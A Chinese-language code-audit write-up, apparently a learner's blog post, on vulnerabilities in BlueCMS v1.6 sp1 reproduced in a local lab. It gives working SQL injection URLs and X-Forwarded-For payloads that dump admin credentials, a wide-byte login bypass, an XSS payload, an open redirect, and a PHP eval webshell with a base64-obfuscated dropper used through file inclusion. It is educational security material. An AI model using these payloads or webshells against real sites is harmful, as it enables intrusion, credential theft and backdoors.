[php程式碼審計]bluecms v1.6 sp1
一、環境搭建
- bluecms v1.6 sp1源碼
- windows 7
- phpstudy2016(php 5.4.45)
- seay源程式碼審計系統
源碼在網上很容易下載,很多教程說訪問地址 //localhost/bluecms_v1.6_sp1/uploads/install/ 就會進入到安裝介面。這裡我遇到了一點小問題,訪問地址後顯示空白,無法進行安裝,解決方式是 phpstudy 打開允許目錄列表,並且在 bluecms_v1.6_sp1\uploads\install\compile 目錄下刪掉圖中 php 文件,再訪問一次安裝地址就可以了,然後按照提示進行資料庫配置即可成功搭建。
二、漏洞列表
2.1SQL注入
用Seay源程式碼審計系統掃一下,可以發現有很多可能的漏洞,有一些誤報,具體審計一下程式碼吧,先看一下 ad_js.php 文件
定位到該條語句
getone() 是自定義的查詢資料庫的函數,跟進一下,可以看到插入到資料庫查詢語句中的 $ad_id 除了 trim 去掉兩邊空格沒有任何的過濾,因而導致了數字型SQL注入,雖然 ad_js.php 還包含了 common.inc.php 文件,common.inc.php 進行了 addslashes($_GET) 轉義,但是由於SQL語句中的變數沒有使用單引號保護,addslashes 也同時失去了作用
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
利用一下這個漏洞,因為方法很常規就只注入到列出表名
//192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 order by 7 //192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,7//頁面空白,查看源碼發現列印第7列 //192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,database() //192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
2.2XFF頭注入、偽造ip
接著查看 Seay 掃到的可疑注入點,看一下 /uploads/include/common.fun.php 程式碼
$ip 的值從 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等變數中獲得,HTTP_CLIENT_IP 這個環境變數沒有成標準,很多伺服器沒法獲取。而第二個 HTTP_X_FORWARDED_FOR 可以通過 HTTP 請求頭來修改
/** * 獲取用戶IP */ function getip(){ if (getenv('HTTP_CLIENT_IP')){ $ip = getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { //獲取客戶端用代理伺服器訪問時的真實ip 地址 $ip = getenv('HTTP_X_FORWARDED_FOR'); }elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); }elseif (getenv('HTTP_FORWARDED_FOR')){ $ip = getenv('HTTP_FORWARDED_FOR'); }elseif (getenv('HTTP_FORWARDED')){ $ip = getenv('HTTP_FORWARDED'); }else{ $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
全局搜索一下這個函數,除了函數定義以外一共有兩處
查看 comment.php 程式碼,getip() 獲取到的 $ip,直接插入到了SQL語句中,沒有過濾就執行了,這裡是存在SQL注入的。
利用一下這個漏洞,從 comment.php 程式碼可以推斷出,SQL注入出現在對文章進行評論的地方。在模擬發布文章時出現一點問題,發布文章時一定選擇新聞分類,但是管理員和普通用戶都不能創建分類,只好先把限制分類不能為空的程式碼注釋掉。
首頁->會員中心->本地新聞->發布新聞(這裡發現寫中文內容的話會顯示為空,所以測試內容都需要寫英文),先評論測試一下,看一下數據表記錄的欄位默認值
顯然回顯的位置在 content 欄位,所以可以構造 X-Forwarded-For 值注入,先補充前一次查詢的 ip 和 is_check 欄位完成第一次插入,再構造第二次插入,同時要注意閉合原本語句中的單引號。評論時進行抓包改包,可以看到成功注入並且在評論列表有回顯,查到資料庫是 bluecms,直接查一下管理員用戶名及密碼哈希值也可以成功獲取。
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1 X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1
這樣插入完成後的完整 sql 語句是,顯然這裡的 ip 欄位也可以控制,可以在注入的同時達到偽造 ip 的效果
$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
2.3XFF頭注入2
再從全局搜索看 getip() 函數出現的另一處 common.inc.php,getip() 賦值給變數 $online_ip,再全局搜索這個變數,發現在留言板介面變數也是沒有經過過濾,直接插入查詢語句,存在SQL注入
利用一下漏洞,測試時發現無論是否留言都會彈出留言內容不能為空,修改前端程式碼注釋掉這個函數,路徑是 bluecms_v1.6_sp1\uploads\templates\default\guest_book.htm
因為顯然回顯位置在 content 欄位,所以構造一次插入語句就可以了,可以看到成功注出資料庫
X-Forwarded-For: 1',database())-- -
2.4寬位元組注入
在 common.inc.php 中注意到資料庫編碼使用的是 gb2312,這有可能導致寬位元組注入
找到管理員登錄的 bluecms_v1.6_sp1\uploads\admin\login.php,發現驗證用戶帳號密碼的函數為 check_admin
在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函數定義,SQL語句變數使用單引號保護,但是 getone() 函數在2.1小節已經分析過了,沒有任何的過濾
function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
並且 login.php 還包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,這裡是將 $_POST 數據進行 addslashes 轉義的,剛好可以利用 %df 讓轉義的反斜線失去作用
if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
利用一下漏洞,成功以管理員身份登錄(注意直接在瀏覽器輸入 %df 會被 urlencode,所以應該抓包發送)
2.5存儲型XSS
在 user.php 文件,用戶發布新聞功能,發現 content 沒有使用 htmlspecialchars() 函數,而是 filter_data(),跟蹤看一下,在 /uploads/include/common.fun.php 找到函數定義程式碼,只過濾了 script,iframe,frame,meta,link 等,這裡可以用 a,img 等標籤繞過
function filter_data($str) { $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str); return $str; }
利用一下漏洞,因為前端程式碼還會過濾一些敏感字元,所以所以不直接提交攻擊程式碼,抓包修改 payload,可以看到漏洞利用成功
<img src="" onerror="alert(123456)">
2.6任意URL跳轉
在 user.php 中,很明顯 $act == ‘do_login’ 是登錄功能,看到有一個 $from 變數,再結合登錄成功後顯示回到該變數指向參數,可以猜測這個 $from 保存來源 url,方便用戶登陸後回到原來瀏覽的頁面
全局搜索 $from 並沒有被其他函數過濾,直接利用一下(注意 $from 應該和源程式碼一樣 base64 加密),將 //www.baidu.com 編碼為 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包後可以看到頁面成功跳轉到百度
2.7文件包含
user.php 的支付功能,可以通過 $_POST[‘pay’] 控制文件包含的路徑,但是後面拼接了 /index.php
有兩種方式可以截斷
繞過方法1:%00 截斷
條件:magic_quotes_gpc = Off,PHP版本<5.3.4
繞過方法2:路徑長度截斷
條件:windows 下目錄路徑最大長度為256位元組,超出部分將丟棄;linux 下目錄最大長度為4096位元組,超出長度將丟棄;PHP版本<5.2.8
由於本地搭建版本是5.4.45,降到 5.2.17 測試一下這個漏洞,這裡包含的時候遇到個小問題,注意它的路徑是 include ‘include/payment/’.$_POST[‘pay’].”/index.php”; 是找這個的相對路徑不是 user.php 的
個人資料中可以上傳個人頭像,上傳一個內容為 <?php @eval($_POST[‘apple’]);?> 的 hack.jpg,再查看下路徑
文件包含圖片馬成功
還看到其他方法,在圖片中插入重新寫入一個馬 apple.php 的程式碼,這樣生成新馬後蟻劍管理起來會比圖片馬方便很多
<?php @fputs(fopen(base64_decode('YXBwbGUucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhcHBsZSddKTs/Pg=='));?>
包含一下,看到目錄下成功生成木馬 apple.php
2.8任意文件刪除
user.php 的編輯個人資料功能,直接調用 unlink 函數刪除 $_POST[‘face_pic3’],沒有進行相應的檢查,存在任意文件刪除漏洞
利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功刪除2.7小節寫入的木馬 apple.php
三、總結
第一次嘗試做cms審計,同種利用方式的漏洞只寫了一處,還有一些漏洞沒有一一列舉出來。bluecms 算是一次入門級的復現加一些自己的思考吧,希望這篇隨筆可以在理清自己思路的同時幫助到像我一樣的初學者。
這次 cms 審計學習到審計工具存在一些誤報,不能過度依賴。跟蹤用戶輸入、查看變數的傳遞過程,發現一些問題時回溯變數,或者直接挖掘功能點的漏洞,對個別文章進行通讀,全局搜索易發生漏洞的函數,按照經驗直接測試一些常見的漏洞都是很有效的方法。
還有,讀著前輩的程式碼想起自己上學期的資料庫課設,前後端寫在一起,邏輯沒有這麼清晰,也沒注意安全方面。這份程式碼雖然陌生,但是邏輯和功能都很明確,很快就可以明白開發者的思路,下次再有機會做PHP開發要好好借鑒經驗啦.
參考:
//blog.szfszf.top/tech/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-bluecms-v1-6/
//www.cnblogs.com/BOHB-yunying/p/12643510.html